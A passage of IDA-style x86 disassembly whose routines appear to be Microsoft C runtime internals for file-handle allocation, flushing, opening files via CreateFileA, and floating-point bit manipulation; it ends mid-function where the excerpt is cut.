; ---------------------------------------------------------------------------


loc_41F6C8:				; CODE XREF: sub_41F5E1+34j
		mov	esi, 480h
		push	esi
		call	sub_416DAF
		test	eax, eax
		pop	ecx
		jz	short loc_41F71D
		add	dword_4815D0, 20h
		lea	ecx, ds:4815E0h[ebx*4]
		mov	[ecx], eax
		lea	edx, [eax+480h]
		jmp	short loc_41F706
; ---------------------------------------------------------------------------


loc_41F6F0:				; CODE XREF: sub_41F5E1+127j
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 24h
		add	edx, esi


loc_41F706:				; CODE XREF: sub_41F5E1+10Dj
		cmp	eax, edx
		jb	short loc_41F6F0
		shl	ebx, 5
		mov	ebp, ebx
		push	ebp
		call	sub_41F54C
		test	eax, eax
		pop	ecx
		jnz	short loc_41F71D


loc_41F71A:				; CODE XREF: sub_41F5E1+E5j
		or	ebp, 0FFFFFFFFh


loc_41F71D:				; CODE XREF: sub_41F5E1+BCj
					; sub_41F5E1+DBj ...
		push	0Bh
		call	sub_41A0D2
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx


loc_41F728:				; CODE XREF: sub_41F5E1+10j
		mov	eax, ebp
		pop	ebp
		pop	ecx
		pop	ecx
		retn
sub_41F5E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F72E	proc near		; CODE XREF: sub_41AEC9+1Ep

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041F7D6 SIZE 00000014 BYTES

		push	0Ch
		push	offset stru_42CB50
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_4815D0
		jnb	loc_41F7D6
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:4815E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41F7D6
		push	ebx
		call	sub_41F54C
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41F7AE
		push	ebx
		call	sub_41F50B
		pop	ecx
		push	eax
		call	dword_42214C	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41F79A
		call	dword_422004	; RtlGetLastWin32Error
		mov	[ebp+var_1C], eax
		jmp	short loc_41F79E
; ---------------------------------------------------------------------------


loc_41F79A:				; CODE XREF: sub_41F72E+5Fj
		and	[ebp+var_1C], 0


loc_41F79E:				; CODE XREF: sub_41F72E+6Aj
		cmp	[ebp+var_1C], 0
		jz	short loc_41F7BD
		call	sub_41B93E
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx


loc_41F7AE:				; CODE XREF: sub_41F72E+4Dj
		call	sub_41B935
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41F7BD:				; CODE XREF: sub_41F72E+74j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41F7CE
		mov	eax, [ebp+var_1C]
		jmp	short loc_41F7E4
sub_41F72E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F7CB	proc near		; DATA XREF: .text:stru_42CB50o
		mov	ebx, [ebp+8]
sub_41F7CB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F7CE	proc near		; CODE XREF: sub_41F72E+93p
		push	ebx
		call	sub_41F5BF
		pop	ecx
		retn
sub_41F7CE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F72E


loc_41F7D6:				; CODE XREF: sub_41F72E+15j
					; sub_41F72E+39j
		call	sub_41B935
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_41F7E4:				; CODE XREF: sub_41F72E+9Bj
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41F72E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B07E


loc_41F7EA:				; CODE XREF: sub_41B07E+Ej
		push	10h
		push	offset stru_42CB60
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		push	1
		call	sub_41A166
		pop	ecx
		mov	[ebp-4], ebx
		push	3
		pop	edi


loc_41F809:				; CODE XREF: sub_41B07E+47EAj
		mov	[ebp-20h], edi
		cmp	edi, dword_482940
		jge	short loc_41F86A
		mov	esi, edi
		shl	esi, 2
		mov	eax, dword_481920
		mov	eax, [esi+eax]
		cmp	eax, ebx
		jz	short loc_41F867
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41F83A
		push	eax
		call	sub_416E0D
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F83A
		inc	dword ptr [ebp-1Ch]


loc_41F83A:				; CODE XREF: sub_41B07E+47ABj
					; sub_41B07E+47B7j
		cmp	edi, 14h
		jl	short loc_41F867
		mov	eax, dword_481920
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	dword_422024	; RtlDeleteCriticalSection
		mov	eax, dword_481920
		push	dword ptr [esi+eax]
		call	sub_416C97
		pop	ecx
		mov	eax, dword_481920
		mov	[esi+eax], ebx


loc_41F867:				; CODE XREF: sub_41B07E+47A5j
					; sub_41B07E+47BFj
		inc	edi
		jmp	short loc_41F809
; ---------------------------------------------------------------------------


loc_41F86A:				; CODE XREF: sub_41B07E+4794j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_41F87C
		mov	eax, [ebp-1Ch]
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41B07E

; =============== S U B	R O U T	I N E =======================================



sub_41F87C	proc near		; CODE XREF: sub_41B07E+47F0p
					; DATA XREF: .text:stru_42CB60o
		push	1
		call	sub_41A0D2
		pop	ecx
		retn
sub_41F87C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F885	proc near		; CODE XREF: sub_41FB6C+28p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	edx, [ebp+arg_C]
		push	ebx
		push	esi
		xor	esi, esi
		test	dl, dl
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], esi
		jns	short loc_41F8A9
		mov	[ebp+var_14], esi
		mov	[ebp+var_1], 10h
		jmp	short loc_41F8B4
; ---------------------------------------------------------------------------


loc_41F8A9:				; CODE XREF: sub_41F885+19j
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41F8B4:				; CODE XREF: sub_41F885+22j
		mov	eax, 8000h
		test	edx, eax
		jnz	short loc_41F8CE
		test	dh, 40h
		jnz	short loc_41F8CA
		cmp	dword_481598, eax
		jz	short loc_41F8CE


loc_41F8CA:				; CODE XREF: sub_41F885+3Bj
		or	[ebp+var_1], 80h


loc_41F8CE:				; CODE XREF: sub_41F885+36j
					; sub_41F885+43j
		push	3
		mov	eax, edx
		pop	ebx
		and	eax, ebx
		sub	eax, esi
		jz	short loc_41F8F1
		dec	eax
		jz	short loc_41F8E8
		dec	eax
		jnz	short loc_41F90C
		mov	[ebp+var_10], 0C0000000h
		jmp	short loc_41F8F8
; ---------------------------------------------------------------------------


loc_41F8E8:				; CODE XREF: sub_41F885+55j
		mov	[ebp+var_10], 40000000h
		jmp	short loc_41F8F8
; ---------------------------------------------------------------------------


loc_41F8F1:				; CODE XREF: sub_41F885+52j
		mov	[ebp+var_10], 80000000h


loc_41F8F8:				; CODE XREF: sub_41F885+61j
					; sub_41F885+6Aj
		cmp	ecx, 10h
		jz	short loc_41F93D
		cmp	ecx, 20h
		jz	short loc_41F934
		cmp	ecx, 30h
		jz	short loc_41F92B
		cmp	ecx, 40h
		jz	short loc_41F926


loc_41F90C:				; CODE XREF: sub_41F885+58j
		call	sub_41B935
		mov	dword ptr [eax], 16h
		call	sub_41B93E
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		jmp	loc_41FB1D
; ---------------------------------------------------------------------------


loc_41F926:				; CODE XREF: sub_41F885+85j
		mov	[ebp+var_8], ebx
		jmp	short loc_41F940
; ---------------------------------------------------------------------------


loc_41F92B:				; CODE XREF: sub_41F885+80j
		mov	[ebp+var_8], 2
		jmp	short loc_41F940
; ---------------------------------------------------------------------------


loc_41F934:				; CODE XREF: sub_41F885+7Bj
		mov	[ebp+var_8], 1
		jmp	short loc_41F940
; ---------------------------------------------------------------------------


loc_41F93D:				; CODE XREF: sub_41F885+76j
		mov	[ebp+var_8], esi


loc_41F940:				; CODE XREF: sub_41F885+A4j
					; sub_41F885+ADj ...
		mov	eax, edx
		mov	edx, 700h
		and	eax, edx
		mov	ecx, 400h
		cmp	eax, ecx
		push	edi
		mov	edi, 100h
		jg	short loc_41F987
		jz	short loc_41F982
		cmp	eax, esi
		jz	short loc_41F982
		cmp	eax, edi
		jz	short loc_41F979
		cmp	eax, 200h
		jz	short loc_41F9B3
		cmp	eax, 300h
		jnz	short loc_41F999
		mov	[ebp+var_C], 2
		jmp	short loc_41F9C3
; ---------------------------------------------------------------------------


loc_41F979:				; CODE XREF: sub_41F885+DBj
		mov	[ebp+var_C], 4
		jmp	short loc_41F9C3
; ---------------------------------------------------------------------------


loc_41F982:				; CODE XREF: sub_41F885+D3j
					; sub_41F885+D7j
		mov	[ebp+var_C], ebx
		jmp	short loc_41F9C3
; ---------------------------------------------------------------------------


loc_41F987:				; CODE XREF: sub_41F885+D1j
		cmp	eax, 500h
		jz	short loc_41F9BC
		cmp	eax, 600h
		jz	short loc_41F9B3
		cmp	eax, edx
		jz	short loc_41F9BC


loc_41F999:				; CODE XREF: sub_41F885+E9j
		call	sub_41B935
		mov	dword ptr [eax], 16h
		call	sub_41B93E
		mov	[eax], esi


loc_41F9AB:				; CODE XREF: sub_41F885+2E2j
		or	eax, 0FFFFFFFFh
		jmp	loc_41FB1C
; ---------------------------------------------------------------------------


loc_41F9B3:				; CODE XREF: sub_41F885+E2j
					; sub_41F885+10Ej
		mov	[ebp+var_C], 5
		jmp	short loc_41F9C3
; ---------------------------------------------------------------------------


loc_41F9BC:				; CODE XREF: sub_41F885+107j
					; sub_41F885+112j
		mov	[ebp+var_C], 1


loc_41F9C3:				; CODE XREF: sub_41F885+F2j
					; sub_41F885+FBj ...
		mov	eax, [ebp+arg_C]
		test	eax, edi
		mov	esi, 80h
		jz	short loc_41F9E1
		mov	ecx, dword_481160
		not	ecx
		and	ecx, [ebp+arg_10]
		test	cl, cl
		js	short loc_41F9E1
		xor	esi, esi
		inc	esi


loc_41F9E1:				; CODE XREF: sub_41F885+148j
					; sub_41F885+157j
		test	al, 40h
		jz	short loc_41F9FC
		or	byte ptr [ebp+var_10+2], 1
		or	esi, 4000000h
		cmp	dword_481164, 2
		jnz	short loc_41F9FC
		or	[ebp+var_8], 4


loc_41F9FC:				; CODE XREF: sub_41F885+15Ej
					; sub_41F885+171j
		test	ah, 10h
		jz	short loc_41FA03
		or	esi, edi


loc_41FA03:				; CODE XREF: sub_41F885+17Aj
		test	al, 20h
		jz	short loc_41FA0F
		or	esi, 8000000h
		jmp	short loc_41FA19
; ---------------------------------------------------------------------------


loc_41FA0F:				; CODE XREF: sub_41F885+180j
		test	al, 10h
		jz	short loc_41FA19
		or	esi, 10000000h


loc_41FA19:				; CODE XREF: sub_41F885+188j
					; sub_41F885+18Cj
		call	sub_41F5E1
		mov	edi, eax
		or	ebx, 0FFFFFFFFh
		cmp	edi, ebx
		jnz	short loc_41FA41
		call	sub_41B935
		mov	dword ptr [eax], 18h
		call	sub_41B93E
		and	dword ptr [eax], 0


loc_41FA3A:				; CODE XREF: sub_41F885+208j
		mov	eax, ebx
		jmp	loc_41FB1C
; ---------------------------------------------------------------------------


loc_41FA41:				; CODE XREF: sub_41F885+1A0j
		mov	eax, [ebp+arg_0]
		push	0
		push	esi
		push	[ebp+var_C]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_10]
		push	[ebp+arg_8]
		call	dword_422034	; CreateFileA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41FA80
		push	esi
		call	dword_4221D4	; GetFileType
		test	eax, eax
		jnz	short loc_41FA8F
		push	esi
		call	dword_42202C	; CloseHandle


loc_41FA80:				; CODE XREF: sub_41F885+1E7j
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		call	sub_41B947
		pop	ecx
		jmp	short loc_41FA3A
; ---------------------------------------------------------------------------


loc_41FA8F:				; CODE XREF: sub_41F885+1F2j
		cmp	eax, 2
		jnz	short loc_41FA9A
		or	[ebp+var_1], 40h
		jmp	short loc_41FAA3
; ---------------------------------------------------------------------------


loc_41FA9A:				; CODE XREF: sub_41F885+20Dj
		cmp	eax, 3
		jnz	short loc_41FAA3
		or	[ebp+var_1], 8


loc_41FAA3:				; CODE XREF: sub_41F885+213j
					; sub_41F885+218j
		push	esi
		push	edi
		call	sub_41F410
		or	[ebp+var_1], 1
		mov	eax, edi
		sar	eax, 5
		lea	ebx, ds:4815E0h[eax*4]
		mov	eax, edi
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	al, [ebp+var_1]
		pop	ecx
		pop	ecx
		mov	ecx, [ebx]
		shl	esi, 2
		mov	[ebp+var_1], al
		and	[ebp+var_1], 48h
		mov	[esi+ecx+4], al
		jnz	short loc_41FB05
		test	al, al
		jns	short loc_41FB05
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41FB05
		push	2
		push	0FFFFFFFFh
		push	edi
		call	sub_41D676
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41FB21
		call	sub_41B93E
		cmp	dword ptr [eax], 83h
		jnz	short loc_41FB60


loc_41FB05:				; CODE XREF: sub_41F885+252j
					; sub_41F885+256j ...
		cmp	[ebp+var_1], 0
		jnz	short loc_41FB1A
		test	byte ptr [ebp+arg_C], 8
		jz	short loc_41FB1A
		mov	eax, [ebx]
		lea	eax, [esi+eax+4]
		or	byte ptr [eax],	20h


loc_41FB1A:				; CODE XREF: sub_41F885+284j
					; sub_41F885+28Aj
		mov	eax, edi


loc_41FB1C:				; CODE XREF: sub_41F885+129j
					; sub_41F885+1B7j
		pop	edi


loc_41FB1D:				; CODE XREF: sub_41F885+9Cj
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FB21:				; CODE XREF: sub_41F885+271j
		and	[ebp+var_2], 0
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		push	edi
		call	sub_41B217
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41FB4E
		cmp	[ebp+var_2], 1Ah
		jnz	short loc_41FB4E
		push	[ebp+var_10]
		push	edi
		call	sub_42098E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jz	short loc_41FB60


loc_41FB4E:				; CODE XREF: sub_41F885+2B1j
					; sub_41F885+2B7j
		push	0
		push	0
		push	edi
		call	sub_41D676
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FB05


loc_41FB60:				; CODE XREF: sub_41F885+27Ej
					; sub_41F885+2C7j
		push	edi
		call	sub_41AD23
		pop	ecx
		jmp	loc_41F9AB
sub_41F885	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB6C	proc near		; CODE XREF: sub_41B7CD+137p

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	14h
		push	offset stru_42CB70
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+arg_8]
		call	sub_41F885
		add	esp, 14h
		mov	[ebp+var_24], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41FBB1
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
sub_41FB6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB1	proc near		; CODE XREF: sub_41FB6C+37p
					; DATA XREF: .text:stru_42CB70o
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_41FBC0
		push	dword ptr [ebp-20h]
		call	sub_41F5BF
		pop	ecx

locret_41FBC0:				; CODE XREF: sub_41FBB1+4j
		retn
sub_41FBB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBC1	proc near		; CODE XREF: sub_41FC40+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	ecx
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		mov	ecx, [esp+arg_0]
		not	edx
		test	[ecx+eax*4], edx
		jz	short loc_41FBE9


loc_41FBE0:				; CODE XREF: sub_41FBC1+26j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41FBE3:				; CODE XREF: sub_41FBC1+2Cj
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_41FBE0


loc_41FBE9:				; CODE XREF: sub_41FBC1+1Dj
		inc	eax
		cmp	eax, 3
		jl	short loc_41FBE3
		xor	eax, eax
		inc	eax
		retn
sub_41FBC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBF3	proc near		; CODE XREF: sub_41FC40+42p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		lea	eax, [edi+esi*4]
		push	eax
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		push	edx
		push	dword ptr [eax]
		call	sub_420AC9
		add	esp, 0Ch
		dec	esi
		js	short loc_41FC3D
		lea	edi, [edi+esi*4]


loc_41FC24:				; CODE XREF: sub_41FBF3+48j
		test	eax, eax
		jz	short loc_41FC3D
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_420AC9
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41FC24


loc_41FC3D:				; CODE XREF: sub_41FBF3+2Cj
					; sub_41FBF3+33j
		pop	edi
		pop	esi
		retn
sub_41FBF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FC40	proc near		; CODE XREF: sub_41FD61+79p
					; sub_41FD61+C2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		dec	edi
		push	20h
		lea	eax, [edi+1]
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	esi
		sub	esi, edx
		xor	edx, edx
		inc	edx
		mov	ecx, esi
		shl	edx, cl
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		test	[eax+ebx*4], edx
		jz	short loc_41FC8F
		lea	ecx, [edi+1]
		push	ecx
		push	eax
		call	sub_41FBC1
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41FC8C
		push	edi
		push	[ebp+arg_0]
		call	sub_41FBF3
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_41FC8C:				; CODE XREF: sub_41FC40+3Cj
		mov	eax, [ebp+arg_0]


loc_41FC8F:				; CODE XREF: sub_41FC40+2Cj
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax+ebx*4], edx
		inc	ebx
		cmp	ebx, ecx
		jge	short loc_41FCAA
		lea	edi, [eax+ebx*4]
		sub	ecx, ebx
		xor	eax, eax
		rep stosd


loc_41FCAA:				; CODE XREF: sub_41FC40+5Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FC40	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCB2	proc near		; CODE XREF: sub_41FD61+6Dp
					; sub_41FD61+ACp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	3
		pop	edx
		sub	ecx, eax
		push	esi


loc_41FCC0:				; CODE XREF: sub_41FCB2+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41FCC0
		pop	esi
		retn
sub_41FCB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCCD	proc near		; CODE XREF: sub_41FD61+4Dp

arg_0		= dword	ptr  4

		xor	eax, eax


loc_41FCCF:				; CODE XREF: sub_41FCCD+10j
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_41FCE3
		inc	eax
		cmp	eax, 3
		jl	short loc_41FCCF
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41FCE3:				; CODE XREF: sub_41FCCD+Aj
		xor	eax, eax
		retn
sub_41FCCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FCE6	proc near		; CODE XREF: sub_41FD61+B6p
					; sub_41FD61+D0p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	ebx, [ebp+arg_0]
		or	edi, 0FFFFFFFFh
		mov	[ebp+arg_4], esi
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_8], eax
		xor	eax, eax
		sub	[ebp+arg_4], edx
		not	edi
		mov	[ebp+var_4], eax


loc_41FD14:				; CODE XREF: sub_41FCE6+51j
		mov	esi, [ebx+eax*4]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_C], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+arg_4]
		or	esi, [ebp+var_4]
		mov	[ebx+eax*4], esi
		mov	esi, [ebp+var_C]
		shl	esi, cl
		inc	eax
		cmp	eax, 3
		mov	[ebp+var_4], esi
		jl	short loc_41FD14
		push	2
		pop	eax
		mov	ecx, eax
		sub	ecx, [ebp+var_8]
		lea	ecx, [ebx+ecx*4]


loc_41FD44:				; CODE XREF: sub_41FCE6+74j
		cmp	eax, [ebp+var_8]
		jl	short loc_41FD50
		mov	edx, [ecx]
		mov	[ebx+eax*4], edx
		jmp	short loc_41FD54
; ---------------------------------------------------------------------------


loc_41FD50:				; CODE XREF: sub_41FCE6+61j
		and	dword ptr [ebx+eax*4], 0


loc_41FD54:				; CODE XREF: sub_41FCE6+68j
		dec	eax
		sub	ecx, 4
		test	eax, eax
		jge	short loc_41FD44
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD61	proc near		; CODE XREF: sub_41FEB9+Dp
					; sub_41FECF+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		shl	eax, 10h
		and	edi, 7FFFh
		sub	edi, 3FFFh
		cmp	edi, 0FFFFC001h
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_8], ecx
		push	eax
		jnz	short loc_41FDCA
		xor	ebx, ebx
		call	sub_41FCCD
		test	eax, eax
		pop	ecx
		jnz	loc_41FE79
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd


loc_41FDC2:				; CODE XREF: sub_41FD61+DAj
		push	2
		pop	eax
		jmp	loc_41FE7B
; ---------------------------------------------------------------------------


loc_41FDCA:				; CODE XREF: sub_41FD61+49j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41FCB2
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FC40
		add	esp, 10h
		test	eax, eax
		jz	short loc_41FDE7
		inc	edi


loc_41FDE7:				; CODE XREF: sub_41FD61+83j
		mov	eax, [esi+4]
		mov	ecx, eax
		sub	ecx, [esi+8]
		cmp	edi, ecx
		jge	short loc_41FDFD
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		jmp	short loc_41FE39
; ---------------------------------------------------------------------------


loc_41FDFD:				; CODE XREF: sub_41FD61+90j
		cmp	edi, eax
		jg	short loc_41FE3D
		sub	eax, edi
		mov	edi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FCB2
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	sub_41FCE6
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FC40
		mov	eax, [esi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FCE6
		add	esp, 20h


loc_41FE39:				; CODE XREF: sub_41FD61+9Aj
		xor	ebx, ebx
		jmp	short loc_41FDC2
; ---------------------------------------------------------------------------


loc_41FE3D:				; CODE XREF: sub_41FD61+9Ej
		cmp	edi, [esi]
		push	dword ptr [esi+0Ch]
		jl	short loc_41FE65
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FCE6
		mov	ebx, [esi+14h]
		add	ebx, [esi]
		pop	ecx
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41FE7B
; ---------------------------------------------------------------------------


loc_41FE65:				; CODE XREF: sub_41FD61+E1j
		mov	ebx, [esi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	ebx, edi
		call	sub_41FCE6
		pop	ecx
		pop	ecx


loc_41FE79:				; CODE XREF: sub_41FD61+55j
		xor	eax, eax


loc_41FE7B:				; CODE XREF: sub_41FD61+64j
					; sub_41FD61+102j
		push	1Fh
		pop	ecx
		sub	ecx, [esi+0Ch]
		mov	esi, [esi+10h]
		shl	ebx, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		or	ebx, [ebp+var_C]
		cmp	esi, 40h
		jnz	short loc_41FEAA
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_41FEB4
; ---------------------------------------------------------------------------


loc_41FEAA:				; CODE XREF: sub_41FD61+13Aj
		cmp	esi, 20h
		jnz	short loc_41FEB4
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx


loc_41FEB4:				; CODE XREF: sub_41FD61+147j
					; sub_41FD61+14Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FD61	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FEB9	proc near		; CODE XREF: sub_41FEE5+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_432DB0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41FD61
		add	esp, 0Ch
		retn
sub_41FEB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FECF	proc near		; CODE XREF: sub_41FF28+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_432DC8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41FD61
		add	esp, 0Ch
		retn
sub_41FECF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEE5	proc near		; CODE XREF: sub_41BB7D+12p

var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
